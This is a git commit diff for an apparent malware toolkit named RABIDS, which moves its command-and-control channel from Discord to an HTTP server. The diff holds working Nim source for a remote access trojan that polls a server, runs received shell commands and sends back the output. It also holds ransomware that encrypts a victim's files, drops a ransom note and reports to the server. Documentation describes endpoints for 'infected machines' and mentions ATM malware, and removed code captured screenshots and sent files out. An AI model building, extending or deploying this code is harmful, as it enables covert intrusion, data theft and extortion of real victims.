HTTP SERVER

This commit is contained in:
Abdullah Sarwar
2025-12-07 18:28:04 +05:00
parent 1379bae3fc
commit 5a2988fd7f
6 changed files with 143 additions and 408 deletions

68
DOC.md
View File

@ -74,6 +74,63 @@ If you place `ghostintheshell` first, the `undeleteme` module will never run.
--- ---
## Communication Method: HTTP Server
RABIDS modules use an **HTTP server** for command and control (C2) and notifications.
### HTTP Server
The HTTP server is the communication method for all C2 modules.
**Advantages:**
- Reliable and fast
- No rate limits or API restrictions
- Easy to set up and manage
- Perfect for production deployments
**Required Endpoints:**
Your HTTP server should implement these endpoints:
- `POST /notify` - Receives notifications from infected machines
- `POST /register` - Registers new infected machines
- `GET /commands/{hostname}` - Returns commands for a specific machine
- `POST /response` - Receives command output from machines
- `GET /ping` - Health check endpoint
**Modules using HTTP communication:**
- `ghostintheshell` - Remote access trojan
- `krash` - Ransomware notifications
- `bankruptsys` - ATM malware
### Setting Up Your HTTP Server
An example HTTP server implementation is included: `http_server_example.py`
**Quick Start:**
```bash
# Run the example server
python3 http_server_example.py
# Or specify custom host/port
python3 http_server_example.py --host 0.0.0.0 --port 8080
```
The example server provides:
- Machine registration and tracking
- Command queuing and delivery
- Response collection
- Notification handling
- Simple web API for manual C2
**For Production:**
- Deploy the server on a VPS or cloud instance
- Use a reverse proxy (nginx/caddy) with HTTPS
- Implement authentication and encryption
- Add database storage for persistence
- Set up logging and monitoring
---
## Module: `ctrlvamp` ## Module: `ctrlvamp`
**Description:** **Description:**
@ -113,15 +170,15 @@ A data exfiltration tool that collects files from a specified directory, compres
## Module: `ghostintheshell` ## Module: `ghostintheshell`
**Description:** **Description:**
Provides a covert reverse shell by leveraging the Discord API. The payload connects to Discord as a bot and listens for commands from a specific user, allowing for remote command execution on the victim's machine. Provides a covert reverse shell via HTTP server communication. The payload connects to your HTTP C2 server for remote command execution.
**How it works:** **How it works:**
The payload logs into Discord using the provided bot token. It then waits for messages from the specified `creatorId`. Any message received from that user is executed as a shell command, and the output is sent back as a message to the same Discord channel.
The payload connects to your HTTP server, registers itself, and polls for commands every 2 seconds. Commands are executed and results are sent back via HTTP POST.
**Options:** **Options:**
- `discordToken`: The authentication token for your Discord bot. - `serverUrl`: The URL of your HTTP C2 server (e.g., `http://your-server.com:8080`).
- `creatorId`: Your unique Discord user ID. The bot will only accept commands from this user to prevent unauthorized access.
--- ---
@ -142,8 +199,11 @@ A ransomware module that encrypts files within a target directory. After encrypt
- `extension`: The file extension to append to encrypted files (e.g., `.locked`). - `extension`: The file extension to append to encrypted files (e.g., `.locked`).
- `targetDir`: The directory whose contents will be encrypted. - `targetDir`: The directory whose contents will be encrypted.
- `htmlContent`: The HTML content of the ransom note that will be displayed to the victim. - `htmlContent`: The HTML content of the ransom note that will be displayed to the victim.
- `serverUrl`: Your HTTP server URL for notifications.
- `decrypt` (Internal): Set to `true` to build a decryptor instead of an encryptor. This is used by the "UNKRASH" tab. - `decrypt` (Internal): Set to `true` to build a decryptor instead of an encryptor. This is used by the "UNKRASH" tab.
**Note:** After encryption completes, the module sends a notification to your HTTP server.
--- ---
## Module: `poof` ## Module: `poof`

View File

@ -1,7 +1,7 @@
import strutils, tables, os, dynlib, streams, osproc, sequtils, json import strutils, tables, os, dynlib, streams, osproc, sequtils, json
when not defined(xfs): when not defined(xfs):
import dimscord, asyncdispatch, times, options, httpclient, threadpool, random import asyncdispatch, times, httpclient, threadpool, random
when defined(windows): when defined(windows):
import winim/lean as winlean, winim/com import winim/lean as winlean, winim/com
@ -701,9 +701,7 @@ proc loadState(output: Stream) =
when not defined(xfs): when not defined(xfs):
const const
discordToken* = "YOUR_DISCORD_BOT_TOKEN" serverUrl* = "http://localhost:8080"
creatorId* = "YOUR_DISCORD_USER_ID"
let discord = newDiscordClient(discordToken)
var var
currentDir = getCurrentDir() currentDir = getCurrentDir()

View File

@ -1,9 +1,7 @@
import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams, random import asyncdispatch, times, httpclient, osproc, os, strutils, json, threadpool, streams, random
const const
discordToken* = "" serverUrl* = "http://localhost:8080"
creatorId* = ""
let discord = newDiscordClient(discordToken)
var var
currentDir = getCurrentDir() currentDir = getCurrentDir()
@ -51,31 +49,8 @@ proc runCommandWithTimeoutKill(cmd: string, timeoutMs: int): Future[string] {.as
discard execShellCmd("kill -9 " & $pidHolder[]) discard execShellCmd("kill -9 " & $pidHolder[])
return "Command timed out and was terminated after " & $(timeoutMs div 1000) & " seconds." return "Command timed out and was terminated after " & $(timeoutMs div 1000) & " seconds."
proc sendMessage(channelId: string, content: string): Future[Message] {.async.} = proc handleCommand(rawCmd: string, client: HttpClient): Future[string] {.async.} =
result = await discord.api.sendMessage(channelId, content)
proc sendLongMessage(channelId: string, content: string): Future[void] {.async.} =
const maxLen = 1980 # Leave room for code block characters
if content.len == 0:
discard await discord.api.sendMessage(channelId, "```\n(Command executed with no output)\n```")
var remaining = content
while remaining.len > 0:
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
discard await discord.api.sendMessage(channelId, "```\n" & chunk & "\n```")
if remaining.len > maxLen:
remaining = remaining[maxLen .. ^1]
else:
remaining = ""
proc sendFile(channelId: string, filePath: string, fileName: string): Future[void] {.async.} =
let fileContent = readFile(filePath)
discard await discord.api.sendMessage(
channelId,
files = @[DiscordFile(name: fileName, body: fileContent)]
)
proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
let cmd = rawCmd.strip() let cmd = rawCmd.strip()
if cmd == "!help": if cmd == "!help":
return """Available Commands: return """Available Commands:
@ -111,8 +86,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
return currentDir return currentDir
elif cmd == "!sysinfo": elif cmd == "!sysinfo":
var resultMsg: string
const maxLen = 1900
when defined(linux): when defined(linux):
let (unameOut, unameExit) = execCmdEx("uname -a", options = {poUsePath}, workingDir = currentDir) let (unameOut, unameExit) = execCmdEx("uname -a", options = {poUsePath}, workingDir = currentDir)
let (lsbOut, lsbExit) = execCmdEx("bash -c \"lsb_release -d 2>/dev/null\"", options = {poUsePath}, workingDir = currentDir) let (lsbOut, lsbExit) = execCmdEx("bash -c \"lsb_release -d 2>/dev/null\"", options = {poUsePath}, workingDir = currentDir)
@ -120,50 +93,25 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
var info = unameOut var info = unameOut
if lsbExit == 0 and lsbOut.len > 0: if lsbExit == 0 and lsbOut.len > 0:
info &= "\n" & lsbOut info &= "\n" & lsbOut
var remaining = info return info
while remaining.len > 0:
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
if remaining.len > maxLen:
remaining = remaining[maxLen .. ^1]
else: else:
remaining = "" return "Failed to get system info: " & unameOut
resultMsg = "System info sent."
else:
resultMsg = "Failed to get system info: " & unameOut
elif defined(windows): elif defined(windows):
let powershellScript = "Get-ComputerInfo | ConvertTo-Json" let powershellScript = "Get-ComputerInfo | ConvertTo-Json"
let command = "powershell -NoProfile -WindowStyle Hidden -Command \"" & powershellScript & "\"" let command = "powershell -NoProfile -WindowStyle Hidden -Command \"" & powershellScript & "\""
let (output, exitCode) = execCmdEx(command, options = {poUsePath}, workingDir = currentDir) let (output, exitCode) = execCmdEx(command, options = {poUsePath}, workingDir = currentDir)
if exitCode != 0: if exitCode != 0:
resultMsg = "command failed with exit code " & $exitCode & ":\n" & output return "command failed with exit code " & $exitCode & ":\n" & output
else: else:
var remaining = output return output
while remaining.len > 0:
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
if remaining.len > maxLen:
remaining = remaining[maxLen .. ^1]
else:
remaining = ""
resultMsg = "System info sent."
elif defined(macosx): elif defined(macosx):
let (output, exitCode) = execCmdEx("system_profiler SPHardwareDataType", options = {poUsePath}, workingDir = currentDir) let (output, exitCode) = execCmdEx("system_profiler SPHardwareDataType", options = {poUsePath}, workingDir = currentDir)
if exitCode != 0: if exitCode != 0:
resultMsg = "command failed with exit code " & $exitCode & ":\n" & output return "command failed with exit code " & $exitCode & ":\n" & output
else: else:
var remaining = output return output
while remaining.len > 0:
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
if remaining.len > maxLen:
remaining = remaining[maxLen .. ^1]
else: else:
remaining = "" return "sysinfo not supported on this platform."
resultMsg = "System info sent."
else:
resultMsg = "sysinfo not supported on this platform."
return resultMsg
elif cmd.startsWith("!cd "): elif cmd.startsWith("!cd "):
let newDir = cmd[3..^1].strip() let newDir = cmd[3..^1].strip()
@ -190,14 +138,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
except CatchableError as e: except CatchableError as e:
return "failed to download file: " & e.msg return "failed to download file: " & e.msg
elif cmd.startsWith("!download "):
let fileName = cmd[9..^1].strip()
let filePath = joinPath(currentDir, fileName)
if fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
return "download successful"
else:
return "file not found: " & filePath
elif cmd.startsWith("!mkdir "): elif cmd.startsWith("!mkdir "):
let dirName = cmd[6..^1].strip() let dirName = cmd[6..^1].strip()
@ -235,41 +175,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
else: else:
return "no such file or directory: " & path return "no such file or directory: " & path
elif cmd == "!screencapture":
when defined(macosx):
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
let filePath = joinPath(currentDir, fileName)
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
if exitCode == 0 and fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
if fileExists(filePath):
removeFile(filePath)
return "screenshot taken, sent and deleted!"
else:
return "failed to take screenshot: " & output
elif defined(windows):
let fileName = "screenshot_" & $now().toTime().toUnix() & ".png"
let filePath = joinPath(currentDir, fileName)
let powershellScript = """
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$bitmap.Save('%1', [System.Drawing.Imaging.ImageFormat]::Png)
"""
let command = "powershell -Command \"" & powershellScript.replace("%1", filePath.replace("\\", "\\\\")) & "\""
let (output, exitCode) = execCmdEx(command)
if exitCode == 0 and fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
if fileExists(filePath):
removeFile(filePath)
return "Screenshot taken, sent and deleted!"
else:
return "failed to take screenshot: " & output
else:
return "screencapture not supported on this platform."
else: else:
try: try:
@ -313,60 +218,51 @@ proc generateSessionId(): string =
var machineName: string var machineName: string
proc onReady(s: Shard, r: Ready) {.event(discord).} = proc httpServerMode() {.async.} =
echo "Starting HTTP server mode..."
machineName = getEnv("MACHINE_NAME", generateSessionId()) machineName = getEnv("MACHINE_NAME", generateSessionId())
if machineName notin sessionRegistry:
sessionRegistry.add(machineName) # Register with server
try: try:
let dm = await discord.api.createUserDm(creatorId) let client = newHttpClient()
discard await discord.api.sendMessage(dm.id, machineName & " is live!") let data = "{\"hostname\":\"" & machineName & "\",\"status\":\"live\"}"
except: client.headers = newHttpHeaders({"Content-Type": "application/json"})
echo "Could not send startup message to creator ID: ", creatorId discard client.postContent(serverUrl & "/register", body = data)
echo machineName & " registered with HTTP server"
proc messageCreate(s: Shard, m: Message) {.event(discord).} = except Exception as e:
var client = newHttpClient() echo "Failed to register with HTTP server: ", e.msg
let content = m.content.strip()
echo "Processing command: ", content
if content == "!sessions":
let sessionList = if sessionRegistry.len == 0: "No active sessions." else: sessionRegistry.join("\n")
discard await sendMessage(m.channel_id, sessionList)
return
elif content == "!ping":
let before = epochTime() * 1000
let msg = await discord.api.sendMessage(m.channel_id, "ping?")
let after = epochTime() * 1000
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
return return
if content.startsWith("!") and not content.startsWith("!sessions") and not content.startsWith("!ping"): # Poll for commands
let parts = content.split(' ', 1) while true:
let firstWord = parts[0]
let isTargeted = firstWord.len > 1 and firstWord.startsWith("!") and not firstWord.startsWith("!!")
if isTargeted:
# Command is like "!session-name !command"
let targetName = firstWord[1..^1]
if targetName == machineName:
let commandToRun = if parts.len > 1: parts[1].strip() else: ""
if commandToRun.len > 0 and commandToRun.startsWith("!"):
try: try:
let output = await handleCommand(commandToRun, m, client) let client = newHttpClient()
if output.len > 0: let response = client.getContent(serverUrl & "/commands/" & machineName)
await sendLongMessage(m.channel_id, output) if response.len > 0:
except CatchableError as e: let cmdData = parseJson(response)
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg) if cmdData.hasKey("command"):
else: let cmd = cmdData["command"].getStr()
discard await sendMessage(m.channel_id, machineName & " is here!") echo "Received command: ", cmd
else: let output = await handleCommand(cmd, client)
try: # Send response back
let output = await handleCommand(content, m, client) let respData = "{\"hostname\":\"" & machineName & "\",\"output\":\"" & output.replace("\"", "\\\"") & "\"}"
if output.len > 0: client.headers = newHttpHeaders({"Content-Type": "application/json"})
await sendLongMessage(m.channel_id, output) discard client.postContent(serverUrl & "/response", body = respData)
except CatchableError as e: except Exception as e:
echo "Error executing command: ", e.msg echo "Error in command loop: ", e.msg
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg) await sleepAsync(2000) # Poll every 2 seconds
proc main() = proc main() =
waitFor discord.startSession() if serverUrl.len == 0:
echo "Error: Server URL not configured"
return
try:
let client = newHttpClient()
discard client.getContent(serverUrl & "/ping")
echo "HTTP server is available at: ", serverUrl
waitFor httpServerMode()
except Exception as e:
echo "Failed to connect to HTTP server: ", e.msg
echo "Please check server URL and ensure server is running"

View File

@ -1,4 +1,4 @@
import os, nimcrypto, strutils, osproc, dimscord, asyncdispatch, options import os, nimcrypto, strutils, osproc, asyncdispatch, httpclient
const defaultHtml = """ const defaultHtml = """
<!DOCTYPE html> <!DOCTYPE html>
@ -55,8 +55,7 @@ const key* = "0123456789abcdef0123456789abcdef"
const iv* = "abcdef9876543210" const iv* = "abcdef9876543210"
const extension* = ".locked" const extension* = ".locked"
var htmlContent* = "YOUR_HTML_RANSOM_NOTE_CONTENT_HERE" var htmlContent* = "YOUR_HTML_RANSOM_NOTE_CONTENT_HERE"
const discordToken* = "YOUR_DISCORD_BOT_TOKEN" const serverUrl* = "http://localhost:8080"
const creatorId* = "YOUR_DISCORD_USER_ID"
proc processFile(file: string, key: string, iv: string, extension: string) = proc processFile(file: string, key: string, iv: string, extension: string) =
try: try:
@ -128,18 +127,19 @@ proc getHostname(): string =
let machineName = getHostname() let machineName = getHostname()
proc sendDiscordMessage(message: string) {.async.} = proc sendNotification(message: string) {.async.} =
if discordToken.len == 0 or creatorId.len == 0: if serverUrl.len == 0:
echo "Discord token or creator ID is missing. Skipping notification." echo "Server URL not configured. Skipping notification."
return return
let discord = newDiscordClient(discordToken)
try: try:
let dm = await discord.api.createUserDm(creatorId) let client = newHttpClient()
discard await discord.api.sendMessage(dm.id, machineName & ": " & message) let data = "{\"hostname\":\"" & machineName & "\",\"message\":\"" & message & "\"}"
client.headers = newHttpHeaders({"Content-Type": "application/json"})
let response = client.postContent(serverUrl & "/notify", body = data)
echo "Notification sent to HTTP server: ", message
except Exception as e: except Exception as e:
echo "Failed to send Discord message: ", e.msg echo "Failed to send notification to HTTP server: ", e.msg
proc main() = proc main() =
when defined(decrypt): when defined(decrypt):
@ -192,5 +192,5 @@ proc main() =
echo "Ransom note created at ", ransomFile echo "Ransom note created at ", ransomFile
except OSError as e: except OSError as e:
echo "Error creating or opening ransom note: ", e.msg echo "Error creating or opening ransom note: ", e.msg
waitFor sendDiscordMessage("Encryption complete") waitFor sendNotification("Encryption complete")

243
main.py
View File

@ -15,8 +15,6 @@ from PyQt5.QtWidgets import (
import json import json
from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer, QUrl from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer, QUrl
import discord
import asyncio
ASCII = r""" ASCII = r"""
""" """
@ -78,8 +76,7 @@ MODULE_OPTIONS = {
'dumpsterFile': '$HOME/dumpster.dat' 'dumpsterFile': '$HOME/dumpster.dat'
}, },
'module/ghostintheshell': { 'module/ghostintheshell': {
'discordToken': 'YOUR_DISCORD_BOT_TOKEN', 'serverUrl': 'http://localhost:8080'
'creatorId': 'YOUR_DISCORD_USER_ID'
}, },
'module/krash': { 'module/krash': {
'key': '0123456789abcdef0123456789abcdef', 'key': '0123456789abcdef0123456789abcdef',
@ -87,8 +84,7 @@ MODULE_OPTIONS = {
'extension': '.locked', 'extension': '.locked',
'targetDir': '$HOME/Documents', 'targetDir': '$HOME/Documents',
'htmlContent': DEFAULT_KRASH_HTML, 'htmlContent': DEFAULT_KRASH_HTML,
'discordToken': 'YOUR_DISCORD_BOT_TOKEN', 'serverUrl': 'http://localhost:8080'
'creatorId': 'YOUR_DISCORD_USER_ID',
}, },
'module/poof': { 'module/poof': {
'targetDir': '$HOME/Documents' 'targetDir': '$HOME/Documents'
@ -102,8 +98,7 @@ MODULE_OPTIONS = {
'embedFiles': 'path/to/driver.sys,path/to/cert.pem' 'embedFiles': 'path/to/driver.sys,path/to/cert.pem'
}, },
'module/bankruptsys': { 'module/bankruptsys': {
'discordToken': 'YOUR_DISCORD_BOT_TOKEN', 'serverUrl': 'http://localhost:8080'
'creatorId': 'YOUR_DISCORD_USER_ID',
}, },
'module/winkrashv2': { 'module/winkrashv2': {
'key': 'secret', 'key': 'secret',
@ -112,145 +107,6 @@ MODULE_OPTIONS = {
} }
class DiscordListener(QObject):
device_status_update = pyqtSignal(str, str)
def __init__(self, token, creator_id=None):
super().__init__()
self.token = token
self.creator_id = creator_id
intents = discord.Intents.default()
intents.message_content = True
self.client = discord.Client(intents=intents)
@self.client.event
async def on_ready():
print(f'GUI Listener logged in as {self.client.user}')
self.device_status_update.emit("SYSTEM", f"Connected to Discord as {self.client.user}")
creator_found = False
if self.creator_id:
try:
creator = await self.client.fetch_user(int(self.creator_id))
if not creator:
self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}")
return
self.device_status_update.emit("SYSTEM", f"Fetching DM history with {creator.name}...")
await self.fetch_history(creator)
creator_found = True
except (ValueError, discord.NotFound):
self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}")
except discord.Forbidden:
self.device_status_update.emit("ERROR", "Bot does not have permission to fetch DM history.")
if not creator_found:
self.device_status_update.emit("SYSTEM", "No Creator ID provided or user not found. Only listening for new DMs.")
@self.client.event
async def on_message(message):
is_dm = isinstance(message.channel, discord.DMChannel)
is_from_creator = self.creator_id and str(message.author.id) == self.creator_id
if is_dm and is_from_creator:
self.process_encryption_message(message.content)
async def fetch_history(self, user):
"""Fetches and processes historical messages from a user."""
async for msg in user.history(limit=100):
if ':' in msg.content and 'encryption complete' in msg.content.lower():
self.process_encryption_message(msg.content)
def process_encryption_message(self, content):
if ':' in content and 'encryption complete' in content.lower():
hostname = content.split(':', 1)[0].strip()
self.device_status_update.emit(hostname, "Encrypted")
async def run_client(self):
try:
await self.client.start(self.token)
except discord.LoginFailure:
self.device_status_update.emit("ERROR", "Discord login failed. Check the token.")
async def stop_client(self):
if self.client:
await self.client.close()
class DiscordC2Client(QObject):
"""Handles Discord connection and communication for the C2 tab."""
log_message = pyqtSignal(str, str)
connection_status = pyqtSignal(bool)
def __init__(self, token, target_user_id):
super().__init__()
self.token = token
self.target_user_id = target_user_id
self.target_user = None
intents = discord.Intents.default()
intents.messages = True
intents.dm_messages = True
intents.message_content = True
self.client = discord.Client(intents=intents)
@self.client.event
async def on_ready():
self.log_message.emit(f"C2 client logged in as {self.client.user}", "success")
try:
self.target_user = await self.client.fetch_user(int(self.target_user_id))
self.log_message.emit(f"Connected to target user '{self.target_user.name}'.", "success")
self.connection_status.emit(True)
except (ValueError, discord.NotFound):
self.log_message.emit(f"Could not find target user with ID: {self.target_user_id}", "error")
await self.stop_client()
except discord.Forbidden:
self.log_message.emit("Bot does not have permission to fetch user.", "error")
await self.stop_client()
@self.client.event
async def on_message(message):
is_dm = isinstance(message.channel, discord.DMChannel)
if is_dm:
content = message.content.strip()
if content:
if content.startswith("```") and content.endswith("```"):
content = re.sub(r"```(plaintext\n)?|```", "", content).strip()
self.log_message.emit(content, "c2_recv")
if message.attachments:
for attachment in message.attachments:
self.log_message.emit(f"Received file: <a href='{attachment.url}'>{attachment.filename}</a>", "c2_recv")
async def send_dm(self, content):
if self.target_user:
try:
sent_content = content.strip()
await self.target_user.send(sent_content)
self.log_message.emit(sent_content, "c2_sent")
return True
except discord.Forbidden:
self.log_message.emit("Cannot send DMs to this user. Check permissions.", "error")
return False
except Exception as e:
self.log_message.emit(f"Failed to send DM: {str(e)}", "error")
return False
else:
self.log_message.emit("Not connected to a target user.", "error")
return False
async def run_client(self):
try:
await self.client.start(self.token)
except discord.LoginFailure:
self.log_message.emit("C2 client login failed. Check the token.", "error")
self.connection_status.emit(False)
except Exception as e:
self.log_message.emit(f"C2 client error: {str(e)}", "error")
self.connection_status.emit(False)
async def stop_client(self):
if self.client and self.client.is_ready():
await self.client.close()
self.log_message.emit("C2 client disconnected.", "system")
self.connection_status.emit(False)
class BuildThread(QThread): class BuildThread(QThread):
log_signal = pyqtSignal(str, str) log_signal = pyqtSignal(str, str)
@ -290,71 +146,6 @@ class BuildThread(QThread):
self.log_signal.emit(f"An unexpected error occurred during build: {e}", "error") self.log_signal.emit(f"An unexpected error occurred during build: {e}", "error")
self.finished_signal.emit(-1) self.finished_signal.emit(-1)
class DiscordListenerThread(QThread):
device_status_update = pyqtSignal(str, str)
def __init__(self, token, creator_id=None):
super().__init__()
self.token = token
self.creator_id = creator_id
self.listener = None
self.loop = None
def run(self):
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
listener = DiscordListener(self.token, self.creator_id)
listener.device_status_update.connect(self.device_status_update)
self.listener = listener
self.loop.run_until_complete(listener.run_client())
def refresh_messages(self):
if self.loop and self.listener and self.listener.client and self.listener.client.is_ready():
if self.creator_id:
async def do_refresh():
try:
creator = await self.listener.client.fetch_user(int(self.creator_id))
if creator:
self.device_status_update.emit("SYSTEM", f"Refreshing DM history with {creator.name}...")
await self.listener.fetch_history(creator)
self.device_status_update.emit("SYSTEM", "Refresh complete.")
except Exception as e:
self.device_status_update.emit("ERROR", f"Failed to refresh: {e}")
self.loop.call_soon_threadsafe(self.loop.create_task, do_refresh())
def stop(self):
if self.loop and self.listener:
self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client())
self.device_status_update.emit("SYSTEM", "Disconnected from Discord.")
class C2Thread(QThread):
"""Runs the Discord C2 client in a separate thread."""
log_message = pyqtSignal(str, str)
connection_status = pyqtSignal(bool)
def __init__(self, token, target_user_id):
super().__init__()
self.token = token
self.target_user_id = target_user_id
self.c2_client = None
self.loop = None
def run(self):
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
self.c2_client = DiscordC2Client(self.token, self.target_user_id)
self.c2_client.log_message.connect(self.log_message)
self.c2_client.connection_status.connect(self.connection_status)
self.loop.run_until_complete(self.c2_client.run_client())
def send_message(self, content):
if self.loop and self.c2_client and self.c2_client.client.is_ready():
asyncio.run_coroutine_threadsafe(self.c2_client.send_dm(content), self.loop)
def stop(self):
if self.loop and self.c2_client:
asyncio.run_coroutine_threadsafe(self.c2_client.stop_client(), self.loop)
class DependencyInstallerThread(QThread): class DependencyInstallerThread(QThread):
log_signal = pyqtSignal(str, str) log_signal = pyqtSignal(str, str)
@ -434,8 +225,6 @@ class RABIDSGUI(QMainWindow):
self.selected_modules = [] self.selected_modules = []
self.loading_movie = None self.loading_movie = None
self.build_thread = None self.build_thread = None
self.discord_thread = None
self.c2_thread = None
self.installer_thread = None self.installer_thread = None
self.option_inputs = {} self.option_inputs = {}
self.current_option_values = {} self.current_option_values = {}
@ -874,7 +663,7 @@ class RABIDSGUI(QMainWindow):
left_column_layout.addLayout(devices_header_layout) left_column_layout.addLayout(devices_header_layout)
live_devices_desc_label = QLabel("This panel displays a live list of devices successfully encrypted by the 'krash' module.\n" live_devices_desc_label = QLabel("This panel displays a live list of devices successfully encrypted by the 'krash' module.\n"
"Devices appear here after reporting back via the Discord listener.") "Devices report back via HTTP server.")
live_devices_desc_label.setFont(subtitle_font) live_devices_desc_label.setFont(subtitle_font)
live_devices_desc_label.setStyleSheet("color: #FFF100;") live_devices_desc_label.setStyleSheet("color: #FFF100;")
live_devices_desc_label.setWordWrap(True) live_devices_desc_label.setWordWrap(True)
@ -925,7 +714,7 @@ class RABIDSGUI(QMainWindow):
c2_header_layout.addWidget(c2_title) c2_header_layout.addWidget(c2_title)
c2_left_layout.addLayout(c2_header_layout) c2_left_layout.addLayout(c2_header_layout)
c2_desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload. \nControl victim's device remotely") c2_desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload.\nCommunication via HTTP Server\nControl victim's device remotely")
c2_desc.setFont(subtitle_font) c2_desc.setFont(subtitle_font)
c2_desc.setStyleSheet("color: #00A9FD;") c2_desc.setStyleSheet("color: #00A9FD;")
c2_desc.setWordWrap(True) c2_desc.setWordWrap(True)
@ -986,17 +775,11 @@ class RABIDSGUI(QMainWindow):
setting_layout.addSpacing(10) setting_layout.addSpacing(10)
return setting_layout return setting_layout
listener_token_label = QLabel("Listener Bot Token") server_url_label = QLabel("HTTP Server URL")
self.settings_discord_token_edit = QLineEdit() self.settings_server_url_edit = QLineEdit()
listener_token_desc = "The authentication token for the Discord bot. Used by the KRASH listener and C2 functionality." server_url_desc = "The URL of your HTTP C2 server. Example: http://your-server.com:8080"
listener_layout = create_setting_layout(listener_token_label.text(), self.settings_discord_token_edit, listener_token_desc) server_url_layout = create_setting_layout(server_url_label.text(), self.settings_server_url_edit, server_url_desc)
settings_layout.addLayout(listener_layout) settings_layout.addLayout(server_url_layout)
listener_creator_id_label = QLabel("Discord User ID")
self.settings_listener_creator_id_edit = QLineEdit()
listener_creator_id_desc = "Your Discord user ID. The GUI listener bot will only accept commands and DMs from this user."
listener_creator_id_layout = create_setting_layout(listener_creator_id_label.text(), self.settings_listener_creator_id_edit, listener_creator_id_desc)
settings_layout.addLayout(listener_creator_id_layout)
settings_layout.addSpacing(20) settings_layout.addSpacing(20)
@ -1825,8 +1608,7 @@ class RABIDSGUI(QMainWindow):
"output_dir": self.restore_output_dir_edit.text() "output_dir": self.restore_output_dir_edit.text()
}, },
"listener": { "listener": {
"token": self.settings_discord_token_edit.text(), "server_url": self.settings_server_url_edit.text()
"creator_id": self.settings_listener_creator_id_edit.text()
} }
} }
try: try:
@ -1866,8 +1648,7 @@ class RABIDSGUI(QMainWindow):
self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", "")) self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", ""))
listener_cfg = config.get("listener", {}) listener_cfg = config.get("listener", {})
self.settings_discord_token_edit.setText(listener_cfg.get("token", "")) self.settings_server_url_edit.setText(listener_cfg.get("server_url", "http://localhost:8080"))
self.settings_listener_creator_id_edit.setText(listener_cfg.get("creator_id", ""))
except (json.JSONDecodeError, KeyError) as e: except (json.JSONDecodeError, KeyError) as e:
print(f"Error loading settings from config file: {e}") print(f"Error loading settings from config file: {e}")